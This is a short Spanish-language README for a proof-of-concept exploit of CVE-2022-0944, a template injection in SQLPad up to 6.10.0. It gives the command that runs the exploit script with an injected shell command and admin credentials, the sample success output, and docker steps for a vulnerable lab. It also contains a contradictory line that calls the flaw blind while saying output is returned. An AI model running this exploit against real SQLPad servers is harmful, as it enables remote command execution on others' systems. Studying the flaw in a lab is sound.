CVE-2022-0944

SQLPad - Inyección de plantillas

Esta es una vulnerabilidad ciega, lo que significa que la salida se devuelve directamente en la respuesta.

Exploit

Usa el script con el siguiente comando:
python3 exploit.py --url http://localhost:13000 --command 'ls -la > /tmp/test' --username admin --password password

Salida

[*] El inicio de sesión fue exitoso
[*] ¡Explotado!

Entorno de pruebas

Usando docker:

• Inicia el contenedor docker - sudo docker run -p 13000:3000 -d --env SQLPAD_ADMIN=admin --env SQLPAD_ADMIN_PASSWORD=password --name vulnerable-sqlpad sqlpad/sqlpad:6.10.0
• Conéctate al contenedor docker - sudo docker exec -it vulnerable-sqlpad /bin/bash

Para acceder a la interfaz web, usa la URL http://localhost:13000 con las credenciales admin:password.

Versiones afectadas

<= 6.10.0

Fuente

https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb

Descargo de responsabilidad

Úsalo solo con fines educativos o para desafíos CTF.